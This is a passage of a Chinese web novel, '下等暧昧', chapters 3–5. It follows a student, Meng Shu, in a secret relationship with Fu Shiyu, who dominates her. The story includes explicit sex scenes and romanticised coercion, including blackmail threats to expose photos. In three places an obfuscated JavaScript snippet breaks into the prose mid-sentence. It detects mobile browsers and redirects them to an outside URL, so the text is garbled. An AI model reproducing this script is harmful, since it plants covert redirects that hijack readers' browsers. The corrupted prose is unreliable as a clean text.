《下等暧昧》 3. 再躲啊! 闻言,其余三人同时朝店门口看去。 四五个男生穿着统一的制服,西服胸口处绣着江大计算机学院的院标。 几个人做了简单的妆造,又穿得一致,一进门就吸引了店里所有人的目光。 最打眼的是走在最后个子最高的那个。 男生高挑挺拔,脱下的西服随意搭在小臂,衬衫袖口卷起,露出手腕黑色运动腕表。 不仅仅是孙怡闵她们,他一出现,店里很多人的眼神都忍不住往他身上瞟。 离得最近的服务员,偷偷拍了他好几张侧颜和背影。 对于周遭的关注和谈论,他本人却浑然未觉,连眼皮都没掀一下,低头看手机,表情清清冷冷,周身散发着高不可攀的疏离感。 仿佛和周围的人不在一个图层。 “他怎么来这儿了?”孙怡闵嘀咕。 “人家就不能饿了来吃饭?”肖君翻了个白眼,“门口又没贴狗和傅时逾不能进。” 孟舒:“……” 看到他出现在这里,孟舒的脸色就变了。 这人怎么阴魂不散…… “802,走吧。”沈倾易在门口和服务员确认好包厢号,招呼大家往里走。 一直在看手机的人终于抬起头,目光扫过大厅,最后落在某张桌前站着的人身上。 他勾了勾唇角,“不用包厢,就大厅。” 沈倾易“啊”了声,没等问原因,傅时逾已抬脚往大厅里走,只留给了他一个背影。 他们把包厢让给后面等位的人,换了对方大厅的桌位。 离孟舒他们的桌子隔了三桌。 不算近,听不见说话声。 傅时逾坐下后,后背闲适地靠着椅背,一只手垂着,另只手,pro max在宽大的手掌中被随意摆弄。 他思考怎么折磨人时,手里总喜欢摆弄点什么。 有时候是手机,有时候是孟舒。 他没有刻意避讳,目光越过那三张桌子,带着审视平直地落在孟舒身上。 两人目光对视的刹那,他用口型对她说了三个字。 孟舒看懂了。 他在说:“再、躲、啊?” 孟舒鸡皮疙瘩都起来了。 她慌乱地垂下眼眸,尽力压制着想要跑的冲动。 孙怡闵往后偷瞄一眼,小声说:“我怎么觉得傅时逾一直在往我们这边看?” 蒋桐推测:“是不是在看君君,我们几个也就君君和他有过接触。” 肖君“蛤”一声,赶紧撇清关系。 “刚才在录播室,那么近的距离,他都没看我一眼,怎么可能是看我啊。再说他是有女朋友的人,你们别瞎说啊!” 肖君烦躁地摆手:“别跟我提他了!管他看谁呢,咱们是来吃自助烤肉的,又不是看自助帅哥,帅哥能让你多吃几盘肉回本吗?” “秀色可餐哇,我平时看帅哥的视频食欲都会变好,当然看美女也一样,”孙怡闵感慨,“很难想象,傅时逾女朋友对着他那张脸,是怎么克制住只吃菜不吃他……” 孟舒被一口大麦茶呛到咳起来。 蒋桐拍了拍孟舒后背,“没事吧?” 孟舒咳得脸色通红,说不出话,只能摆手示意自己没事。 肉上来后,大家不再聊,开始埋头吃。 吃了两轮,中场休息,又聊起来。 还是在说傅时逾发错的那张照片。 关于那个女生的身份,从计算机学院一路猜到了校外。 “他女朋友要是本校的怎么不公开?”孙怡闵合理猜测,“肯定是外校的,这么多年没人撞见过,也许他女朋友在国外。” “说不定是傅时逾不让公开。”肖君说。 “我觉得不像,”蒋桐回忆着,“照片里傅时逾看女朋友的眼神很温柔,满眼都是她,一看就很喜欢。” 蒋桐着重补充了句:“我觉得傅时逾肯定很爱他女朋友。” “你今天怎么老是被呛到。”蒋桐递给孟舒纸巾。 肖君看着孟舒,狐疑道:“我怎么觉着,每次我们聊到傅时逾,你要不完全不参与,要不就像是受到了惊吓。” “我只是觉得,”孟舒努力平复下心绪后说,“你们说得太夸张了。” “其实我觉得桐桐说得对,”孙怡闵说,“谁说帅哥就一定渣?也许傅时逾就是珍藏款!别看他总是冷着脸对谁都爱答不理,从那张照片其实能看出来他很疼他女朋友。女朋友睡着了还抱着,搞不好抱了一晚上。” 孟舒好不容易止住咳嗽,喉咙又开始发痒。 她忍住没咳,却忍不住脑子里的记忆不断冒出来。 那几天孟舒病了。 她从小体质就不好,天气一变化,秋冬季感冒季频发,她很容易中招。 大一春节,孟舒妈妈临时去了国外出差。 而傅时逾不知道是怎么说服他爸妈的,竟然没跟着一起回秦皇岛他外婆那儿过年。 孟舒很清楚,傅时逾费尽心思留下是为了什么。 自从高考结束的暑假,两人在一起后,食髓知味,傅时逾总要和她做那种事。 但那时刚进大学两人都忙,加之孟舒平时住校,周末回妈妈那儿,两人没太多的机会在一起。 那年春节,孟舒妈妈因为出差不放心女儿独自在家,夏江潮就让孟舒住到自己家。 他们虽然过年期间不在,但家里有住家保姆可以陪孟舒。 只是夏江潮他们前脚刚离开,傅时逾后脚就给保姆放了假。 于是家里只剩下他们两人。 之前他们亲热只敢在房间里,还得锁上门偷偷摸摸。 现在家里没人,他们想在哪儿都可以。 其实是傅时逾想在哪儿就在哪儿。 这种事,孟舒向来没有发言权。 有几次他胡来,差点把她吓坏。 最过分的那次,傅时逾生日,请了孟舒妈妈和其他朋友来家里吃饭。 大人们在外面喝茶聊天。 傅时逾趁孟舒在厨房给大家切水果,锁了厨房门。 他把人反身压在料理台,孟舒的裙摆被翻起,肌肤直接贴在大理石台面上,又冷又硬。 孟舒被吓坏了,连连求他别这样。 傅时逾把整张脸埋在她后脖颈,深深地嗅她,像烟瘾犯了。 男生的语气里透出急迫和不满。 “我们多久没做了,嗯?” “又没进去……” “别乱动,放松宝宝。” “傅时逾……”孟舒都快哭了,“叔叔阿姨还有我妈妈在外面呢……” 傅时逾两只手在前面完完整整地笼罩着她。 拇指和食指搓捻着。 和急迫下显出几分粗鲁放肆的动作相反,他温柔地说:“要不是他们在,刚才你舔勺子上奶油时,我就想这么做了。” 孟舒腿软得站不住,只靠手肘撑在台面上,后背塌下去,肩胛骨撑起漂亮的弧度。 长发散了一肩膀。 傅时逾情难自控,喘息声闷在她柔顺冰凉的发丝里。 没人发现那天傅时逾中途换过裤子,因为那种家居裤,他不止一条。 孟舒合理怀疑,这人早上醒来选衣物时恐怕就已经在想着这些腌臜事了。 大一的年三十晚上,两人简单吃完年夜饭,在楼下客厅看春晚。 小品才播了两个他们就滚在了沙发上。 傅时逾那晚玩得很花,在沙发上弄了很久,弄完又把她抱到厨房。 什么黏糊糊的东西都往她身上抹。 再一点点吞干净。 第二天起来,孟舒病了。 她原本就有点感冒,傅时逾没有节制地弄了她一晚上,身体终于支撑不住。 高烧发到三十九度。 傅时逾带她去了医院。 挂了三天水,温度才降下来。 那几天,傅时逾白天晚上地照顾她。 发烧身上酸痛,酸到了骨骼里。 孟舒难受得睡不着,傅时逾就抱着她睡。 耐心地替她揉揉捏捏酸痛的关节。 她不知道那张照片是什么时候拍的。 孟舒没看到他误发又撤回的照片,无法判断蒋桐说的眼里满是自己的傅时逾是什么样。 孟舒记得春节生病那次,自己迷迷糊糊问他:“傅时逾,你后悔吗?” “后悔什么?”两人躺在床上,男生把她抱在身前,下颚搁在她头顶温柔缱绻地蹭着。 “你为了和我做,连过年都没回外婆家,结果我生病,做不了。” 彼时孟舒正趴在傅时逾身上,耳朵贴在他心口位置,耳边刚才还沉稳跳动的心脏,像是滞空停跳了一下。 不等孟舒再说,她的下巴被强势抬起。 对上傅时逾俯视下来的视线,孟舒突然很想收回刚才那句话。 他的目光,他的表情,他隐忍不发的样子,都让孟舒意识到他生气了。 良久,傅时逾才出声:“你觉得我留下是为了和你做?” 孟舒抿着唇,没把那句就在嘴边的“难道不是吗”说出口。 可就算她不说,傅时逾也知道她的想法。 他目光冷冷地看着她,声音更冷:“如果你这么觉得,那我在你眼里就是禽兽,如果我是禽兽,那么就算你生病,我也照做不误。” 他凑到她耳边,目光冷冽,嗓音发沉:“据说发烧时那里热热的很舒服。” 孟舒双眼圆睁,不敢相信他说的话。 但她很快就反应过来,他就是气不过,拿这些话吓她。 “那是为了什么?”生病的孟舒胆子比平时大多了,直接问,“既然不是为了和我做,你为什么要留下呢?” 傅时逾看了她很久,眼里情绪层层堆叠,浓稠的黑像是要从里面倒出来,将她彻底裹挟在其中,再也无法逃脱。 但最后一切归于平静。 傅时逾把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244785|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟舒重新抱回怀里,拿被子裹紧她,“宝宝,难道你不想和我在一起……” 他顿了顿,声音微哑,“过年吗?” 或许只是觉得她一个人可怜,傅时逾才留下陪她过年。 孟舒病得稀里糊涂时,难得把傅时逾往好人的定义归纳。 回过神,孟舒抬眸朝某个方向看了眼。 傅时逾没再盯着她看了。 孟舒偷偷观察了一阵。 他口味清淡,吃不惯韩式烤肉这么重口味的食物,基本没动筷子。 他也很少说话,最多和关系还算亲近的沈易倾说两句。 大部分时间都在看手机,整个人游离在热闹之外。 肖君吐槽他姿态高,总是摆张臭脸,不懂得尊重人。 这么说也没错…… 但这么多年的相处孟舒多少了解傅时逾。 傅时逾不懂怎么融入社会和集体。 夏江潮曾和孟舒说过,傅时逾从小就没什么朋友,他智商高,逻辑思维强,和大部分人的脑回路不同频。 对傅时逾来说,和人交流无趣又乏味,总听他们说蠢话,纯属浪费时间。 长大了似乎好一点,但也仅仅只是为了让自己看上去像正常人,牺牲时间演戏而已。 他情感的供给需求都极度匮乏,严格来说,他不算正常人。 大众只是被他的那副皮囊骗了而已。 “别看了,小心陷进去,”孙怡闵顺着孟舒的目光看过去,发现她在看谁,语重心长地劝道,“人有女朋友,还是很爱的那种。” 孟舒喃喃:“不一定是女朋友……” “舒舒你说什么?” 孟舒收回视线,轻咳一声,“没、没说什么。” 蒋桐突然想起件事,问肖君:“君君,你刚才干吗说舒舒有男朋友了?” 孙怡闵:“对啊,他长得还挺帅的。” “你们没看见啊?”肖君哼声,“他手指上有一圈戒指痕,挺明显的,应该是刚摘下对戒没多久。他才分手就想和我们舒舒搞暧昧,对待感情太随意,配不上我们舒舒。” 蒋桐不住点头,“好有道理。” 孟舒寝室四人,孙怡闵母胎单身只爱纸片人,蒋桐有个从高中就在一起的青梅竹马男友,两人纯爱得不行。 感情经历最丰富的要数肖君,从高中到现在,前男友可以出本集邮册。 肖君的理念是,男人当然要玩新鲜的。 “那什么样的男生才配得上舒舒?”孙怡闵好奇地问。 肖君挑眉,突然问了个不相干的问题:“你们觉得我好看吗?” 其余三人虽莫名,但非常一致点头。 肖君当然是好看的。 否则也不可能引那么多男生折腰。 “都知道我有个哥哥吧?”肖君满脸自豪,“虽然不太想承认,但我吧只继承了我爸妈一半的容貌,我哥那可是集齐了他们所有的优点。” “你那个在国外念研究生的亲哥吗?”孙怡闵问。 肖君打了个帅气的响指,“我哥不仅长得帅,性格好,没有任何情史很守男德,最重要的,他是个超级温柔的大暖男。” “那不就是中央空调吗?”孙怡闵说。 “才不是!”肖君强调,“我哥是基督徒,别说婚前性行为,他从小到大,连女生的手都没碰过。” 肖君捏了捏孟舒的脸,“我们舒舒太单纯太好欺负,但凡对方强势一点就会被吃干抹净渣也不剩。只有我哥那种温柔年上才适合。” “有这么好的资源你怎么不早说啊?”孙怡闵说。 “我哥之前不是在国外嘛,谁知道他毕业后会不会留在那儿,”肖君解释,“那不是他决定回国了,我才介绍给舒舒嘛。” 这已经不是室友们第一次为孟舒拉郎配。 除此之外,从高中起就有不少人明里暗里向她表白。 高中时她以“学习”为由拒绝得很麻利,上了大学麻烦点。 后来被表白得实在有点多,她出门就习惯戴口罩帽子了。 不等孟舒拒绝,肖君已经把她哥的微信推给了她。 “先加上,谈不成就当朋友,多个朋友多条路,说不定你以后有用得上他的地方。” 肖君都这么说了,孟舒不好再拒绝。 但她当场没加对方微信。 四个女生战斗力有限,吃到第三轮就不行了。 孟舒刚才没吃多少,临到要走了,却点了甜品和冰激凌。 大家只好边吃边继续聊天。 好不容易吃完,孟舒又点了一轮。 “宝贝儿,”肖君看着孟舒被冰激凌冻红的双唇,摸了摸自己的肚子,“吃冰激凌回不了本。” 孟舒的牙齿被冻得快没知觉,抬眸瞥了眼。 傅时逾那桌没人了。 总算走了。 只是孟舒那口气还没舒完,手机屏幕上弹出条消息—— 【Y:车在B2】 4.得偿所愿 孟舒内心挣扎一番后回消息过去—— 【我已经和室友打到车回学校了】 蒋桐约了男朋友看电影,孙怡闵下午要去兼职。 剩下肖君和孟舒一起回学校。 四人在商场分别。 两个女生打算慢悠悠地散步回去。 肖君还在吐槽今天的采访,重点当然是批斗某人全程冷脸不配合。 还有那张发错撤回的照片。 傅时逾撤回照片后,什么解释也没有。 好在那个小群人不多,除了傅时逾的队友就只有肖君和广播站另外两个工作人员。 傅时逾的队友也许早知道他有女朋友,而广播站的人给他们胆子也不敢问本人。 群里安静如鸡。 “傅时逾有女朋友”目前应该还在小范围内传播。 “我真挺服傅时逾女朋友的,怎么受得了他的脾气,”肖君无语道,“亏她们两个能从照片里解读出这么多有的没的。要我说,就傅时逾那样的,拿什么热脸都贴不热。” 孟舒当然知道,肖君不是字面意思。 但想起昨晚,傅时逾非要她坐他脸上…… 孟舒捏了捏发烫的耳垂,口袋里的手机就在这时连着震了两下。 孟舒打开看了眼。 【Y:刚才那张照片是“误发”】 【Y:下一张就不是了】 距离她忽视傅时逾上一条消息已经过去了十分钟。 傅时逾没有拆穿她的谎言。 他有的是办法让她乖乖听话。 既然有照片,那他就可能还有录音、视频和其他更多能暴露他们关系的证据。 而他的威胁从来都不止是说说。 孟舒丝毫不怀疑,她再多犹豫一分钟,这些证据就会在江大大大小小的群里出现。 孟舒脚步一顿,拉住肖君手腕。 “怎么了?”肖君被迫停住脚步。 孟舒肩膀低垂,认命般闭了闭眼睛。 “君君,我突然想起来,得回我叔叔那儿一趟。” 孟舒经常回她那个“叔叔”家,肖君没有任何怀疑,只问她:“晚上还回宿舍吗?” “应该……不回了吧。” 肖君点头:“行。” 孟舒假意去坐地铁,当着肖君的面坐扶梯下到和商场联通的地铁口,又换电梯,绕来绕去才下到B2。 电梯门一打开,熟悉的黑色卡宴就停在眼前。 看到她出现,车灯亮了两下。 不过三秒钟,又闪了闪。 不耐烦到了极致。 孟舒心里涌上一阵烦躁,抵触情绪上来。 她突然不想上车了,站在原地不动。 车上的人没再闪灯催她,这会儿似乎又不急了,车就这么没有公德心地停在出口。 很快就有车被堵在后面,摁喇叭提醒。 等到接连三四辆车被堵住,后车司机不耐烦地降下车窗,孟舒才咬了咬牙,不甘不愿地走过去。 打开门坐上车,她刚系好安全带,下一刻车就冲了出去。 一脚油门踩得实。 商场的地下车库被开出了推背感。 孟舒敢怒不敢言,紧紧抓住身前的安全带,她此时所有的安全感都来自这条细细的绑带。 她偷偷瞥了眼身边的人。 男生侧脸轮廓分明,面容冷峻,下颚绷出凌厉的线条,英挺的眉眼掩在黑色额发下。 视线下移,目光所及是方向盘上的手臂,衬衫袖口卷起。 因为握得用力,露出的小臂上青筋浮爆。 孟舒情不自禁地咽了咽口水,觉得傅时逾握着的不是方向盘而是自己的脖子…… 一路上,傅时逾冷着脸一言不发。 他直接把车开到了目的地。 停好车,傅时逾没急着下车,目光没有焦距地望着车前方,修长的指骨搭在方向盘上,有一下没一下地轻敲着。 孟舒的心,跟着他手指的敲打起伏不定。 车不是封闭的,孟舒却觉得空气稀薄。 难以呼吸。 最终还是她忍受不住煎熬先开了口。 “不……上去吗?” 他们在某个高档小区的停车场。 这里既不是傅家,也非孟舒家。 而是三年前,傅时逾为了他们见面方便,在江大附近租的房子。 孟舒骗室友回叔叔家,其实每次都是来这里和傅时逾厮混。 说是租,但傅时逾很可能买下了这里,要不然他不可能花那么大精力和钱装修房子。 她大概知道他为什么骗自己是租的。 高考暑假,荒唐的两个月过去,孟舒搬回了自己家,过年过节受到邀请才会去傅家。 两人的关系一直是暗地里进行。 不能在两人家里。 怕被人撞见,她也不喜欢去酒店。 傅时逾就说买套房子,他们同居。 孟舒当时被他“同居”的想法吓坏了,虽然他说会瞒着父母,他们可以照常“住校”。 孟舒断然拒绝,明确表示不会和他同居。 其实他们之间,该做的不该做的都做了,住不住在一起,是去酒店开房还是买套房子同居没有实质性的区别。 孟舒知道自己别扭矫情,可她就是很反感和傅时逾同居这件事。 当初他们稀里糊涂地搞在一起,本就是个错误,她不想在这个错误上越走越远。 买房子同居,也就是从自己的内心处默认,他们这种不正常的关系常态化。 当初看她实在抵触得厉害,傅时逾折中了一下,在外面租了套房。 租金两人各付一半,只当作平时回不了学校的落脚点。 租房的事,包括后来的装修,家具家电的购买,都是傅时逾一手操办。 房子到底是买还是租的,孟舒从不过问。 她就像蜗牛,躲在自己的壳里,不问就不知道答案,不知道答案就当作不是。 自欺欺人。 傅时逾的手离开方向盘,解开自己的安全带,同时淡声说:“先不上去,我们谈谈。” 孟舒心里一紧,“谈什么?” 傅时逾上半身越过中控,倾向副驾驶。 随着他的靠近,孟舒身体僵硬,下意识闭上眼睛,一动不敢动。 “咔哒”一声,孟舒的安全带被解开。 孟舒随着这声动静睁开眼睛,不期撞进一双深色的眼睛里。 帮她解开安全带后,傅时逾没坐回去。 他双手撑在她脸两边,轻薄的眼皮半垂,看向她的目光泛着涔涔冷意,声音更冷。 “谈谈怎么让你不再无视我的消息。” “没有无视,静音没听见……”她越说越小声,心虚根本没处藏。 孟舒性子软又怂,特别是面对傅时逾的强势逼近时,简直是被压倒性地欺负。 这也是为什么三年了,她明明不喜欢,却还是无法逃离他的掌控。 但她偶尔也会发点小脾气。 不敢摆到明面上直接跟他抗衡,只能撒点彼此心知肚明的小谎。 不想接他电话回他消息,就谎称静音或者手机没电。 至于撒谎的后果是什么…… 得看傅时逾心情。 孟舒的下巴被抬起,被迫和他对视。 孟舒做好了被他口诛笔伐的准备。 傅时逾却什么也没说,低头钳住她的唇。 确实是口诛。 傅时逾亲她向来又急又凶。 像饿了许久没轻没重的狼崽子。 两人的唇刚碰上,他就迫不及待地撬开她齿关,舌头探进去一阵肆意搅弄。 孟舒被压在车座上,被亲得不断仰起纤细的脖子,手抓在暗红色的座椅皮革上,指关因为用力泛白。 车里充斥着黏腻暧昧的亲吻声。 直到孟舒因为呼吸困难,双手抵在傅时逾胸口推挡,他才放开她。 但他没完全退出去,迎合着她呼吸的节奏,轻轻吮吸她的唇舌。 孟舒耳边全是傅时逾克制压抑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278090|197836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸声。 他舔咬她唇珠,哑声问:“吃那么多冰激凌也不怕肚子不舒服?” 刚才在烤肉店,为了避开傅时逾他们,孟舒故意点了两轮冰激凌拖延时间。 孟舒扭头躲开他的吻,生硬地回:“喜欢吃不行吗?” “行啊,怎么不行,”傅时逾指腹摁她下唇,用了点力地搓揉出片殷红,再一点点舔湿润,“给你买一大桶,回家抱着慢慢挖?” 孟舒心情不好或者压力大就爱吃甜食。 曾经因为高考压力太大,半夜在厨房抱着一大桶冰激凌吃。 小姑娘蹲在冰箱旁,边吃边哭。 嘴唇被冻得殷红,满脸泪痕。 狼狈的模样被下来喝水的傅时逾撞见。 她没想到会被他看到,呆呆地望着他。 唯有眼泪控制不住,扑簌簌地往下掉。 那次傅时逾走到她面前,拿走她怀里的冰激凌桶。 高三的傅时逾身高已超一八五。 男生高大宽阔的身躯俯下来时,一大片浅灰色影子落在她身上。 他半蹲在她面前,和她视线齐平。 少年温热的指腹抹掉她唇上的冰激凌,轻声说:“哭什么,不就是高考,有我在,你想考什么学校都可以。” 温柔的目光和声音,是备战高考的孟舒在一片汪洋里,看得见也抓得住的唯一灯塔。 后来孟舒才明白过来。 他根本不是灯塔。 而是一座把她囚禁,无法逃脱的海上监狱。 认识的不认识的,谁不称赞一句傅教授的儿子是人中龙凤,天之骄子? 刚认识傅时逾时,孟舒也这么认为。 少年清冷矜贵,举手投足无不体现着良好的教养风度。 他的智商极高,说一句天才并不为过。 人却一点没有高高在上的傲慢,不会看不起孟舒这种学业差的。 高三那段黑暗时期,孟舒更是受到了傅时逾很多帮助。 她最后能考上江大,傅时逾功不可没。 孟舒很感激傅时逾,称赞他是“好人傅时逾”。 直到后来,孟舒看清了这个人藏在“好人”面皮下的恶劣。 孟舒对傅时逾的所有好感全都破灭在高考查分那天。 那天,孟舒把好消息告诉远在国外出差的妈妈林蓓,母女俩刚打完电话,她才挂断电话,门外就响起了敲门声。 不等她回应,门直接被推开。 看到来人,她有些惊讶。 傅时逾一言不发,当着她的面走进房间。 因为太过惊讶她没注意到他反手落了锁。 房间里没开灯,男生的面容沉在晦暗中看不真切。 在傅家住了这么久,傅时逾很少来她房间,他连三楼都很少踏足。 孟舒妈妈为此夸过他绅士有教养。 所以孟舒不知道他为什么突然来自己房间。 满腹疑惑中,她突然想到一件事—— 夏江潮和傅明淮,还有家里的两个阿姨都不在家。 家里此时只有她和傅时逾。 出于弱小动物天生对危险的敏锐性。 孟舒隐隐觉得傅时逾不太对劲。 她忍住没退后的冲动,试探着问他:“找我有事吗?” 傅时逾没应声。 他缓缓朝她靠近,身影从灰暗的阴影中一步步走向她。 直到他们靠得足够近。 彼此的呼吸近在咫尺。 她可以清晰地闻到他身上淡淡的乌木沉香。 孟舒第一次闻到傅时逾身上的这种味道,就想到了图书馆。 傅时逾满腹经纶,智慧卓越,身上却有一种阳光无法穿透的厚重幽暗。 逆光将男生的轮廓描绘出明暗深邃的线条。 他目光自上而下、锐利深沉地看着孟舒。 “恭喜你得偿所愿考上江大。” 他用那晚安慰她想考什么大学都可以的温柔语气告诉她—— “现在,该轮到我了。” 5.不是好人 孟舒当时没懂傅时逾这句话的意思。 但她很快就明白了。 那晚在孟舒的房间。 傅时逾亲了她。 她被困在他高大的身躯和书桌之间。 他紧紧抱住她。 少年的吻青涩却汹涌。 强势侵入的唇舌,带着陌生霸道的潮湿气息,占据了孟舒从未有人探访过的柔嫩口腔。 占据了那年混乱的夏季。 也占据了这之后的三年时光。 十八岁的傅时逾,边恶劣地咬孟舒唇角,边叫她宝宝,告诉她,她的唇好软好软。 她在那一刻终于明白—— 他从来都不是什么好人。 从一开始,他的帮助、他的步步接近就带着明确的目的。 震惊,茫然,害怕。 那个吻让孟舒被太多太浓烈的情绪裹挟,没有第一时间推开傅时逾。 而这点犹豫,引发了后面所有的事。 那个吻之后,傅时逾变本加厉。 她有意躲着他,他也总能找到机会。 傅时逾第一次亲她脖子,是他们和夏江潮一起在外面吃饭。 那次傅明淮不在,只有他们三人。 三个人吃完准备坐车离开。 孟舒坐在副驾驶,傅时逾坐后排。 临开车前,夏江潮突然接到个重要电话,于是下车接电话。 傅时逾就是在这个时候,从后座往前探过身。 他先亲的是孟舒的脸颊。 孟舒没想到傅时逾这么大胆。 夏江潮就在车外,能清楚地听到她打电话的声音,他就敢胡来。 她惊恐地要躲,却被傅时逾握住了脖子动弹不得。 扭动中,孟舒的耳朵被傅时逾含进嘴里。 感觉到耳垂上湿软的触感她差点惊叫。 “傅时逾……”怕被夏江潮发现,孟舒只能用气声说话,“不要这样……” 傅时逾的回应是唇舌从她的耳朵一路游移至她光滑细腻的脖颈上。 孟舒耳朵靠近脖子那处最怕痒。 傅时逾偏偏喜欢亲她那里。 听她耐不住时唇边溢出的变了调的一声声“嗯”。 孟舒只能用手死死捂住嘴,不敢发出一点声音。 傅时逾却恶劣至极,故意嘬吮出很大的声响,夏江潮好像听到了,正要往车里看,好在被电话那头转移了注意力。 这一幕吓得孟舒魂飞魄散。 傅时逾却一点影响没有,继续亲得滋滋作响。 夏江潮打完电话回到车里,发现孟舒脸色潮红,关心地询问她身体哪里不舒服。 好在她没看见孟舒藏在长发下,脖上湿漉漉的那片肌肤。 孟舒边说着“没事只是有些热”,抬眸狠狠瞪着后视镜中的人。 后座上的始作俑者,勾着嘴角,故意用口型问她“舒服吗宝宝”。 孟舒脸都白了。 高三毕业的暑假。 孟舒从抗拒到接受最后彻底沉沦。 她知道他们这么做不对。 可是孟舒不敢拒绝,更不敢声张。 她无法想象,夏阿姨他们要是知道这件事,会对她有多失望。 更不愿意因为她,影响妈妈和夏阿姨的关系,进而影响到她的工作。 孟舒只能等。 等待这个荒唐的暑假快点结束。 孟舒以为自己和傅时逾这种不正常的关系很快就会结束。 傅时逾对她只是图一时新鲜,是男生压抑太久的荷尔蒙作祟。 大学里那么多女生,他应该很快就会对自己失去兴趣。 可让孟舒没想到的是,他们不仅没结束。 傅时逾反而变本加厉。 都说上了大学就自由了,孟舒觉得别说自由,她连自我都没有。 翻看她和傅时逾之间的聊天记录,没多少正常交流,几乎全是他不耐烦的警告。 “我在你宿舍门口,五分钟内下来。” “今天你有两条消息晚回了五秒。” “我在的地方,不许离我五步远。” 每次孟舒想当作什么也没看见,最后还是会屈从。 傅时逾知道怎么才能让她听话。 孟舒不想和傅时逾长时间待在车里,空气里全是他身上的味道。 她并非讨厌他的味道。 平心而论,乌木沉香很适合他。 干净,内敛,沉稳。 虽然他对她做的那些事,完全和这些特质背道而驰。 但不可否认,在其他事情上,他总是游刃有余,沉稳可靠。 这世上恐怕除了孟舒,没人见识过真正的傅时逾。 孟舒不知道该为这种“唯一性”高兴还是悲哀。 车里,孟舒觑着傅时逾脸色,小心翼翼地问:“谈好了吗?谈好了就上去吧?我有点累了。” 傅时逾不动声色,垂眸盯着她。 小姑娘眼睑下一小片乌青,眼尾耷拉着,一副精神不济的模样,一看昨晚就没休息好。 意识到是自己造成的,傅时逾心里多少有些内疚。 但那点内疚微乎其微。 他脸色缓了缓,声音却还是寡冷不愉。 “那你知道错了没有?” 孟舒避开他视线,望着车窗外不说话。 很快就被傅时逾捏着腮帮子转回来。 他要她看着他。 男生隐约有了不耐烦的迹象,眯了眯眼睛,“你答应过我什么?收到我的消息必须马上回,电话……” 孟舒打断他,反唇相讥:“可你也答应过我不在学校里公开关系。” “和我算账啊?”傅时逾睨着她,似笑非笑,“那也是你当着我的面加其他男生微信在先吧?” 孟舒想说没有,但事实是她加了。 虽然只是出于礼貌,但在傅时逾这里,事实就是事实,解释只是掩饰,掩饰就是心虚。 他不喜欢她撒谎。 特别是在和异性的关系上。 傅时逾不算温柔地搓了搓她嘴皮,“怎么不说话了?和别人怎么就有说有笑呢?” 他是指刚才在录播室,她和广播站副站长两个人站在一起说说笑笑。 孟舒怼回去:“正常聊天而已,是你自己脑补。” “正常聊天?”傅时逾冷声,“我没瞎,孟舒。” 他连名带姓地叫,让孟舒心里一紧。 “没瞎就自己看吧!”孟舒拿出手机放他手里。 傅时逾撩她一眼。 到底是谁说她脾气好的? 她那些室友和同学,知道她三句话不顺心就甩脸子吗? 傅时逾还真没客气,熟练地输入密码打开她手机,直接点开聊天框。 通过好友后,对方一共发了两条消息。 一条打招呼介绍自己,一条消息表示刚才和她聊得很愉快。 孟舒一条都没回。 傅时逾抬起头,看着她,手指在手机屏幕上敲了两下。 他挑眉一字一字复述:“聊得很愉快?” 孟舒鼓了鼓脸,“他单方面的感受,你不能强加在我身上吧?” 傅时逾想起之前她对自己的解释,“所以你和他聊得并不愉快,你冲他笑那一下是因为聊到了我?” 这么说没错,可孟舒总觉得哪里怪怪的。 不等她想明白,傅时逾很快给出了答案。 他亲了亲她鼻尖,又忍不住亲她唇角,嗓音粘连着含混的笑意,“就这么喜欢我,无时无刻不在想我,和别的男人聊天的内容也都是我?” 孟舒:“……” 梁静茹给的是勇气不是自信吧? 孟舒瞧他脸色缓和不少,大概是自己把自己哄好了,于是借机问:“那你还生气吗?” 她倒是知道他在生气。 傅时逾没回应她这句话,而是把手机放回她手里,“把他删了。” “什么?”孟舒睁大眼睛。 傅时逾目光从手机移到她脸上,口气温和,说的话却不容拒绝。 “不要让我说第二遍,宝宝。” “你看到了,我没回他消息。” “既然不回消息,就更没必要留着了。” “可是……”孟舒试图说服他,“他和肖君都在广播站工作,还是她的领导,我就这么删了人家,不太好吧?” “你也说了是你室友在广播站不是你,他们两个互加微信就行,和你有什么关系呢?” “但君君……” “你觉得删他微信对你室友不太好,你那么会为别人着想,”傅时逾目光沉沉,直白道,“怎么就不觉得,你留着一个想撬我墙角的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她相信傅时逾的人品,不会拍露骨的,可只要是两人同框的,就全是定时炸弹。 孟舒做好了傅时逾会生气的准备,没想到他不但没生气,声音听起来竟还有丝愉悦。 “想删照片还是查我手机啊宝宝?” 孟舒愣了下,没想到他会联想到这个。 瞧她发愣,傅时逾低头啄了下她的唇。 亲完将手机交给她,轻快道:“密码没改,还是你生日。” 孟舒没接手机。 好像她接了他手机就默认了想查他岗。 她撇开目光,“我没说要查你手机。” “不查?”傅时逾抬起她的脸,拿鼻尖摩挲描绘她的脸,故意咬着字,语调黏腻,“不怕我和别的女生玩暧昧啊?” 她巴不得呢。 暧昧再转正,那她就可以解脱了。 不过孟舒知道,他手机里干干净净。 别说和女生玩暧昧,他的好友列表里统共就没几个人,更别说异性了。 